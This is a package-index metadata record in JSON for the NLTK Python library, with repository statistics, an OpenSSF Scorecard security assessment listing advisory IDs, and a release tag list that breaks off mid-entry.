{"id":2819865,"name":"nltk","ecosystem":"pypi","description":"Natural Language Toolkit","homepage":"https://www.nltk.org/","licenses":"Apache License, Version 2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nltk/nltk","keywords_array":["NLP","CL","natural language processing","computational linguistics","parsing","tagging","tokenizing","syntax","linguistics","language","natural language","text analytics"],"namespace":null,"versions_count":70,"first_release_published_at":"2009-07-15T09:32:16.000Z","latest_release_published_at":"2026-08-12T23:44:13.000Z","latest_release_number":"3.10.3","last_synced_at":"2026-09-25T21:17:07.600Z","created_at":"2022-04-10T11:45:39.060Z","updated_at":"2026-09-26T11:17:15.518Z","registry_url":"https://pypi.org/project/nltk/","install_command":"pip install nltk --index-url https://pypi.org/simple","documentation_url":"https://www.nltk.org/","metadata":{"funding":null,"documentation":"https://www.nltk.org/","classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Intended Audience :: Education","Intended Audience :: Information Technology","Intended Audience :: Science/Research","License :: OSI Approved :: Apache Software License","Operating System :: OS Independent","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Topic :: Scientific/Engineering","Topic :: Scientific/Engineering :: Artificial Intelligence","Topic :: Scientific/Engineering :: Human Machine Interfaces","Topic :: Scientific/Engineering :: Information Analysis","Topic :: Text Processing","Topic :: Text Processing :: Filters","Topic :: Text Processing :: General","Topic :: Text Processing :: Indexing","Topic :: Text Processing :: Linguistic"],"normalized_name":"nltk","project_status":null},"repo_metadata":{"id":657117,"uuid":"299862","full_name":"nltk/nltk","owner":"nltk","description":"NLTK Source","archived":false,"fork":false,"pushed_at":"2026-09-23T20:36:52.000Z","size":357447,"stargazers_count":14724,"open_issues_count":259,"forks_count":3041,"subscribers_count":435,"default_branch":"develop","last_synced_at":"2026-09-24T11:40:36.920Z","etag":null,"topics":["machine-learning","natural-language-processing","nlp","nltk","python"],"latest_commit_sha":null,"homepage":"https://www.nltk.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nltk.png","metadata":{"files":{"readme":"README.md","changelog":"ChangeLog","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.md","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2009-09-07T10:53:58.000Z","updated_at":"2026-09-23T20:37:02.000Z","dependencies_parsed_at":"2026-09-24T09:37:32.629Z","dependency_job_id":null,"html_url":"https://github.com/nltk/nltk","commit_stats":{"total_commits":13268,"total_committers":476,"mean_commits":"27.873949579831933","dds":0.6874434730177872,"last_synced_commit":"7397ccfed06e7c836d3acb0b9197f6e6b26c6741"},"previous_names":[],"tags_count":60,"template":false,"template_full_name":null,"purl":"pkg:github/nltk/nltk","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/sbom","scorecard":{"id":690730,"data":{"date":"2025-08-11","repo":{"name":"github.com/nltk/nltk","commit":"aff0ecb71db1944182e9ee3a595084325933d0e1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.9,"checks":[{"name":"Code-Review","score":8,"reason":"Found 4/5 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"23 commit(s) and 11 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/labeler.yml:8","Warn: no topLevel permission defined: .github/workflows/cffconvert.yml:1","Warn: no topLevel permission defined: .github/workflows/ci.yaml:1","Warn: no topLevel permission defined: .github/workflows/labeler.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cffconvert.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/cffconvert.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:89: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:110: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:123: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:24: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yaml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/ci.yaml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/labeler.yml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/nltk/nltk/labeler.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:29","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:52","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:105","Warn: pipCommand not pinned by hash: .github/workflows/ci.yaml:106","Info:   0 out of  14 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":2,"reason":"8 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: PYSEC-2023-23 / GHSA-jrwr-5x3p-hvc3","Warn: Project is vulnerable to: PYSEC-2023-24 / GHSA-vrjv-mxr7-vjf8","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2020-107 / GHSA-jjw5-xxj6-pcv5","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: PYSEC-2020-108","Warn: Project is vulnerable to: PYSEC-2017-74"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:14:45.126Z","repository_id":657117,"created_at":"2025-08-22T02:14:45.126Z","updated_at":"2025-08-22T02:14:45.126Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37672152,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-25T02:00:20.896Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nltk","name":"Natural Language Toolkit","uuid":"124114","kind":"organization","description":"","email":null,"website":"http://nltk.org","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/124114?v=4","repositories_count":10,"last_synced_at":"2026-09-24T15:32:58.338Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/nltk","funding_links":[],"total_stars":17342,"followers":517,"following":0,"created_at":"2022-11-02T16:31:24.682Z","updated_at":"2026-09-24T15:32:58.363Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nltk/repositories"},"tags":[{"name":"v3.10.3","sha":"303f6e2ba8e4548a5f54fd65d86bb5c9a949f1db","kind":"commit","published_at":"2026-08-12T21:48:35.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.3","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.3/manifests"},{"name":"v3.10.3-rc1","sha":"303f6e2ba8e4548a5f54fd65d86bb5c9a949f1db","kind":"commit","published_at":"2026-08-12T21:48:35.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.3-rc1","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.3-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.3-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.3-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.3-rc1/manifests"},{"name":"v3.10.2","sha":"474af1f5a94b1b8d53fc2b6defec3a2ce7633b74","kind":"tag","published_at":"2026-08-05T09:53:44.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.2/manifests"},{"name":"v3.10.2-rc1","sha":"474af1f5a94b1b8d53fc2b6defec3a2ce7633b74","kind":"commit","published_at":"2026-08-05T08:16:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.2-rc1","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.2-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.2-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.2-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.2-rc1/manifests"},{"name":"v3.10.1","sha":"35813c85af3f13d4f7196085854eafb3d0c5db02","kind":"tag","published_at":"2026-08-01T08:50:14.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.1","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1/manifests"},{"name":"v.3.10.1","sha":"35813c85af3f13d4f7196085854eafb3d0c5db02","kind":"tag","published_at":"2026-08-01T06:23:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v.3.10.1","html_url":"https://github.com/nltk/nltk/releases/tag/v.3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v.3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v.3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v.3.10.1/manifests"},{"name":"v3.10.1-rc2","sha":"53ee36bad7bf9f7e1837692b84da541b331dfa0e","kind":"commit","published_at":"2026-07-29T14:03:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.1-rc2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.1-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.1-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1-rc2/manifests"},{"name":"v3.10.1-rc1","sha":"2559670a037305957b035033c760c3d8563be097","kind":"commit","published_at":"2026-07-27T07:48:52.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.1-rc1","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.1-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.1-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.1-rc1/manifests"},{"name":"v3.10.0","sha":"bd49f9011d7dc8c6a36b3c4ae71f04060c9b3fb9","kind":"tag","published_at":"2026-07-08T02:35:07.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.0","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0/manifests"},{"name":"v3.10.0-rc2","sha":"bd49f9011d7dc8c6a36b3c4ae71f04060c9b3fb9","kind":"tag","published_at":"2026-07-06T03:32:54.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.0-rc2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0-rc2/manifests"},{"name":"v3.10.0-rc1","sha":"16a32d680d070254d5744e33fa83f9c0056d5a1f","kind":"tag","published_at":"2026-06-11T20:53:12.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.10.0-rc1","html_url":"https://github.com/nltk/nltk/releases/tag/v3.10.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.10.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.10.0-rc1/manifests"},{"name":"3.9.4","sha":"ad9c96ba00a16923ffe917eacf63f1707bfa2d08","kind":"tag","published_at":"2026-03-24T06:10:01.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.4","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.4/manifests"},{"name":"3.9.3","sha":"4154eb85e832f266660a09286c7e37e308292284","kind":"tag","published_at":"2026-02-24T11:52:11.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.3","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.3/manifests"},{"name":"3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.2/manifests"},{"name":"v3.9.2","sha":"4e17ea390c526ec9cb9e5ef5eb3733ac118dbb8d","kind":"tag","published_at":"2025-10-01T07:08:49.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/v3.9.2","html_url":"https://github.com/nltk/nltk/releases/tag/v3.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@v3.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/v3.9.2/manifests"},{"name":"3.9.1","sha":"aca78cb2add4084f76b9eac921d8a73927d7a086","kind":"tag","published_at":"2024-08-19T01:25:00.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9.1/manifests"},{"name":"3.9","sha":"24936a2d0c2ef1f4eed22de30aa72754e4cc30e7","kind":"tag","published_at":"2024-08-18T07:19:44.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.9","html_url":"https://github.com/nltk/nltk/releases/tag/3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.9/manifests"},{"name":"3.8.2","sha":"0753ee5bb0096b4a4b3dd587e784ce07e7f34dab","kind":"tag","published_at":"2024-08-10T00:30:18.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.2","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.2/manifests"},{"name":"3.8.1","sha":"63a63b1a7793aceceb1efc23bc1fd87e7095f9d5","kind":"tag","published_at":"2023-01-02T15:33:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8.1","html_url":"https://github.com/nltk/nltk/releases/tag/3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8.1/manifests"},{"name":"3.8","sha":"78952ef2d49e5281e30418c6f7778409e36d1765","kind":"tag","published_at":"2022-12-12T17:02:27.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.8","html_url":"https://github.com/nltk/nltk/releases/tag/3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.8/manifests"},{"name":"3.7","sha":"ebe086922d67dd27a808f079575bdf3458891824","kind":"tag","published_at":"2022-02-09T12:35:58.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.7/manifests"},{"name":"3.6.7","sha":"9f4de183a868a9e48801809f283a5dd770f0cb50","kind":"tag","published_at":"2021-12-28T23:14:43.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.7","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.7/manifests"},{"name":"3.6.6","sha":"4862b094ae4a9aa04396e06335ae52f7920e48c7","kind":"tag","published_at":"2021-12-21T02:09:23.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.6","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.6/manifests"},{"name":"3.6.5","sha":"b42236425456418b64803f099f6ca1fc3d24031f","kind":"tag","published_at":"2021-10-11T03:48:12.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.5","html_url":"https://github.com/nltk/nltk/releases/tag/3.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nltk/nltk@3.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nltk%2Fnltk/tags/3.6.5/manifests"},{"name":"3.6.4","sha":"317c5f88ef66b039dc143a6ad78f2a61f362f03a","kind":"tag","published_at":"2021-10-01T01:53:28.000Z","download_url":"https://codeload.github.com/nltk/nltk/tar.gz/3.6.4","h